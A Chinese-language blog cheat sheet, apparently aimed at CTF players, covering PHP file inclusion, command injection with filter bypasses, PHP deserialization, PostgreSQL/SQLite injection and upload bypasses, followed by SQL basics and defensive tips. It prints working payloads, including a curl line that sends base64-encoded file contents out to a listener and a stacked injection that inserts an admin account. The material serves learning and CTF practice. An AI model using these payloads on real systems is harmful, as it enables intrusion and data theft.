Web 安全漏洞总结

Web 安全漏洞总结

本文总结了 Web 安全中常见的漏洞类型,包括文件包含、命令注入、反序列化以及其他数据库注入方法。


一、文件包含漏洞

PHP 文件包含

文件包含相关函数

include()
include_once()
require()
require_once()

远程文件包含

远程代码执行:

?file=[http|https|ftp]://example.com/shell.txt
(需要allow_url_fopen=On并且 allow_url_include=On)

利用 php 流 input:

?file=php://input
(需要allow_url_include=On)

本地文件包含

可以做什么:

  • 包含同目录下的文件
  • 获取 web 目录或者其他配置文件
  • 包含上传的附件:?file=../attachment/media/xxx.file
  • 读取 phpinfo 可以包含临时文件
  • 包含/读取 session 文件:?file=../../../../../../tmp/sess_tnrdo9ub2tsdurntv0pdir1no7

如何读文件:

  1. 直接包含非 php 文件
  2. 利用 PHP 文件流包含

示例:

  1. 使用 data:// 协议加 base64 绕过 “hello123”:
abc=data://text/plain;base64,aGVsbG8xMjM=&file=php://filter/convert.base64-encode/resource=flag.php
  1. 使用 php://filter/convert.base64-encode/resource=flag.php 绕过

  2. 除了 base64-encode 还有一个常用的是 string.rot13 编码

  3. 使用 iconv 编码转换:

?page=php://filter/convert.iconv.ASCII.UCS-2BE/resource=index.php

可以尝试二次 url 编码绕过关键词

http://127.0.0.1:2335/?page=php://filter/convert.%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%35%25%36%65%25%36%33%25%36%66%25%36%34%25%36%35/resource=index.php
原理:php包含的filter,包含时会再解一次url编码

Session 包含

一、直接上传包含

  1. 首先查看 phpinfo(), save_path 为 no value 则表示存储在默认的 /tmp 或 /var/lib/php/session 目录下
  2. php 代码为:$_SESSION["username"]=$ctfs;
  3. 当提交为:?ctfs=<?php phpinfo();?>
  4. 内容会被保存在 tmp 目录或者 /var/lib/php/session 目录下
  5. 直接访问:?file=/tmp/sess_(session_id)

二、临时文件包含

  1. 条件竞争: 删除临时文件、包含临时文件
  2. php7.0 时:
file=php://filter/string.strip_tags/resource=/etc/passwd

会造成一个 segment fault,临时文件不会被删除。

  1. 自包含: 自己包含自己 进入死循环 脚本永不结束

NodeJS 与 Python 任意文件读取

NodeJS 任意文件读取

目录穿越:

const path = require("path");
console.log(path.join(__dirname, file));

直接请求 /public/../app.js 浏览器会去除 ../

使用 curl --path-as-is example.com/public/../app.js 但其会将 ../ 解析成路由一部分

所以将 ..// url 编码,访问 /public/..%2fapp.js

Python 任意文件读取

目录穿越

os.path.join('/tmp', file)

利用:

os.path.join('/tmp', '../etc/flag');

当过滤了 ./ 时:

利用 python 特性直接从根目录开始写:

os.path.join('/tmp', '/usr/local/app/app.js');
其会返回后一个根目录路径

二、命令注入

高危函数

代码注入:

eval()assert()preg_replace()call_user_func()等等

命令执行:

system()exec()shell_exec()passthru()pctnl_exec()popen()proc_open()
反引号是shell_exec()的别名

示例:

<?php
if (isset($_GET['ip'])) {
    $ip = $_GET['ip'];
    echo shell_exec("ping -c 4 " . $ip);
} else {
    highlight_file(__FILE__);
}
/?ip=127.0.0.1;ls%20-a即可利用

联合执行可利用的符号

; 无论前边运行成功还是出现错误都运行后边
&& 前边成功结束才运行后边
|| 只有前边错误后边才执行
| 将前一个命令的输出作为后一个命令的输入
%0a %0d 换行符
`cat flag` 反引号内联执行
在Linux bash中可以使用{OS_COMMAND,ARGUMENT}来执行系统命令{cat,flag}

绕过技巧

空格绕过

$IFS
${IFS} 常用
$IFS$9
<
<>
{cat,flag.php} // 用逗号实现了空格功能,需要用 {} 括起来
%20
%09

关键字绕过

// 1. 反斜线绕过
ca\t y1n\g.php

// 2. 两个单引号绕过
cat y''ng.php

// 3. base64 编码绕过
echo "Y2F0IHkxbmcucGhw" | base64 -d | bash
`echo "Y2F0IHkxbmcucGhw" | base64 -d`

// 4. hex 编码绕过
echo "6361742079316E672E706870" | xxd -r -p | bash

// 5. 用 [] 匹配
cat y1 [n] g.php

// 6. 用 * 匹配任意
cat y1n*
7.cat y1n?
8.cat y1{a..z}g
9.内联执行ls 输出为flag 则执行cat `ls`
10.shell特殊变量绕过:ca$@t fla$@g或者ca$1t fla$2g

命令替代

cattacmorelessheadtailnlsedsortuniq

more:一页一页的显示档案内容
less: more 类似
head:查看头几行
tac:从最后一行开始显示可以看出 tac  cat 的反向显示
tail:查看尾几行
nl显示的时候顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器这个也可以查看
vim:一种编辑器这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容

其他读取命令:

nlnl /flag
prpr /flag
odod -t c /flag
revrev /flag
fmtfmt /flag
phpphp /flag
cutcut -b1- /flagcut -c1- /flagcut -f1 /flag
sortsort /flag
uniquniq /flag
grepgrep { /flag
curlcurl file:///flag
diffdiff /flag /etc/passwd
iconviconv /flag
pastepaste /flag /etc/passwd
stringsstrings /flag
base32base64
bzmorebzlessbzmore /flagbzless /flag

escapeshellarg()+escapeshellcmd()

同时使用会有安全隐患

无回显 RCE

  1. curl 外带
curl 127.0.0.1:1234/?flag=`cat flag|base64`
  1. dnslog

使用 dnslog 平台查看回显

神奇 payload

/???/??? *
可以是/bin/cat flag.php,所以可以读取到flag

bash 盲注

当机器无回显且不出网的情况下

即为延时盲注,注意截取与比较

1.grep -e "^BJ"flag &&sleep 5
2.cut
3.url="http://www.baidu.com"
    echo ${url:5:11}

三、PHP 反序列化漏洞

什么是反序列化

PHP 的所谓的序列化也是一个将各种类型的数据,压缩并按照一定格式存储的过程,使用的函数是 serialize()

php 反序列化漏洞又称对象注入,可能会导致远程代码执行(RCE)

可以理解漏洞为执行 unserialize 函数,调用某一类并执行魔术方法(magic method),之后可以执行类中函数,产生安全问题。

漏洞前提

  1. unserialize() 函数的变量可控
  2. php 文件中存在可利用的类,类中有魔术方法

示例

<?php
class DEMO1
{
  public $func = 'safe';
  public $arg = 'abcd';
  public function safe()
  {
    echo $this->arg;
  }
  public function evil()
  {
    eval($this->arg);
  }
  public function run()
  {
    $this->{$this->func}();
  }
}
$obj = unserialize($_GET['a']);
$obj->run();

魔术方法

PHP 类中有一种特殊函数体的存在叫魔术方法,它的命名是以两个下划线符号 __ 开头的,这些函数在某些情况下会自动调用而在反序列化时,如果反序列化对象中存在魔法函数,使用 unserialize() 函数同时也会触发。

常见魔术方法:

  • __construct() - 构造函数
  • __destruct() - 析构函数
  • __wakeup() - 反序列化时调用
  • __sleep() - 序列化时调用
  • __toString() - 对象被当作字符串时调用
  • __call() - 调用不存在的方法时调用
  • __get() - 读取不可访问属性时调用
  • __set() - 写入不可访问属性时调用

Session 反序列化

除了默认的 session 序列化引擎 php 外,还有几种引擎,不同引擎存储方式不同

- php_binary 键名的长度对应的ASCII字符键名经过serialize() 函数序列化处理的值
- php 键名竖线经过serialize()函数序列处理的值
- php_serialize serialize()函数序列处理数组方式

三种处理器的存储格式差异,就会造成在 session 序列化和反序列化处理器设置不当时的安全隐患。


四、其他数据库注入

PostgreSQL 注入

判断

--可以注释,#不可注释,则不是mysql
利用exp(999999)构造报错,可判断是PostgreSQL
或者测试延时盲注 利用pg_sleep()

LIKE 注入

LIKE 子句中,通常与通配符结合使用,通配符表示任意字符
 百分号 % 相当于 *
 下划线 _ 相当于 ?
ESCAPE用于指定转义符:
  select 'abc%cff' like 'abc-%cf' escape '-';
  #-指定为转义符即可继续匹配

group_concat 替代

PostgreSQL 中并没有 group_concat() 这个函数

聚合函数 array_agg()  string_agg()
  常常与array_to_string()搭配作用相当于join
  string_agg(expression, delimiter) 直接把一个表达式变成字符串

延时

pg_sleep(5)

方式:

1.select 1=(case when (1=1) then (select 1 from pg_sleep(3)) else 0 end);
2.select * from users where id = 1 and 'a'=(case when (1=1) then pg_sleep(5)::VARCHAR else 'a' end)
3.select * from users where id = 1 and 'a'=(case when (1=1) then pg_sleep(5)||'b' else 'a' end)
  #在该数据库中||代表字符串拼接

堆叠注入

create function ddkkk(bd text) returns integer as$$ BEGIN execute bd;
return 1; END; $$ language plpgsql;
select ddkkk('i'||'n'||'s'||'e'||'r'||'t'||' '||'i'||'n'||'t'||'o'||''||'users(username, p'||'a'||'s'||'sword)'||' values(''admin'',''adddd'');');
COMMIT; select 'asdfasdf'::integer; --

SQLite 注入

注释符

/**/
--
可用#判断,如果#不管用则不是mysql

查询表名

SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'
#过滤sqlite开头的系统表名

查询列名

SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='table_name'

字符串截取

substr() substring() like = > < in between mysql差不多
 特有的: trimltrimrtrimprintf
 trim TRIM (字符串,要移除的字符) 如果要移除的字符不写,默认是空格
 printf 
  select printf('%.1s','abc') = a
  如果printf('%.is', 'abc')=printf('%.i+1s', 'abc') 则说明字符串长度为i

字符串比较

1.mysql同部分略
2.GLOB 运算符相当于等于,且其遵循unix语法

条件

1.case when X then Y else Z end 这个语句和mysql是相同的
2.还可以写作 iif(X,Y,Z)

注意:
sqlite中没有if语句
iif只有version>=3.32可用

构造报错

mysql 中可以使用 exp(999999) cot(0) 等等。

sqlite 中使用 randomblob(N) 返回 N-byte blob

时间盲注

sqlite 中并没有 sleep() 这样的延时函数

select 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([]00000000/2))))

五、PHP 文件上传漏洞

前端验证的绕过

禁用 js 或者用 burp 抓包改包

MIME-TYPE 绕过

burp 修改 content-type

黑名单后缀绕过

可以考虑大小写绕过,php2 php3 php4 类推以及 phtml 等

双写绕过

反斜线拆分绕过:

当文件名被过滤时,可以使用反斜线拆分绕过。

文件内容的绕过

文件内容绕过主要包括:

  1. 文件头绕过 - 在文件开头添加图片文件头(如 GIF89a)来绕过内容检测
  2. 短标签绕过 - 使用 <?= 代替 <?php
  3. 注释绕过 - 在 PHP 代码中添加注释来分割关键字
  4. 字符串拼接绕过 - 使用字符串拼接来绕过关键字检测
  5. 编码绕过 - 使用 base64、rot13 等编码方式

六、数据库基础

数据库简介

数据库,又称为数据管理系统,简而言之可视为电子化的文件柜——存储电子文件的处所,用户可以对文件中的数据运行新增、截取、更新、删除等操作。

所谓”数据库”系以一定方式储存在一起、能予多个用户共享、具有尽可能小的冗余度、与应用程序彼此独立的数据集合。一个数据库由多个表空间(Tablespace)构成。

常见数据库

  • MYSQL
  • SQL SERVER
  • Oracle
  • Postgres
  • SQLite

SQL 语法基础

注:SQL 语法对于大小写不敏感

查看创建的数据库

SHOW DATABASES;

创建并切换数据库

CREATE DATABASE test;
USE test;

查看数据库里所有表

SHOW TABLES;

创建表并查看表结构

CREATE TABLE testtable (
    id int(11) auto_increment primary key,
    name varchar(256)
);# 创建一个两列的表testtableid  nameid 自动生成

DESC testtable; # 展示 testtable 的表结构

添加数据

INSERT INTO testtable(name) VALUES('DASCTF');
#  testtable 表中插入一个数据,id 自动生成,name  DASCTF

查询数据

SELECT * FROM testtable; #直接查询
SELECT * FROM testtable WHERE name='a'; # 查询 name  a 的数据
SELECT * FROM testtable WHERE name='DASCTF'; # 查询 name  DASCTF的数据

修改数据

UPDATE testtable SET name='DASCTF777';
# 将表内数据 name 列内容改为 DASCTF777

删除数据

DELETE FROM testtable WHERE name='DASCTF777';
# 删除表中 name  DASCTF777 的数据

总结

Web 安全漏洞种类繁多,本文总结了常见的几种类型:

  1. 文件包含漏洞 - 通过包含恶意文件执行代码
  2. 命令注入 - 通过注入系统命令执行任意代码
  3. 反序列化漏洞 - 通过反序列化恶意对象执行代码
  4. 其他数据库注入 - PostgreSQL、SQLite 等数据库的注入方法

在实际开发中,应该:

  • 对用户输入进行严格验证和过滤
  • 使用参数化查询防止 SQL 注入
  • 避免直接执行系统命令
  • 谨慎处理序列化数据
  • 定期进行安全审计和渗透测试



Enjoy Reading This Article?

Here are some more articles you might like to read next:

  • 灵巧手遥操方案调研
  • lerobot探索
  • 提问的智慧
  • Markdown 功能使用指南
  • ROS 机器人开发实践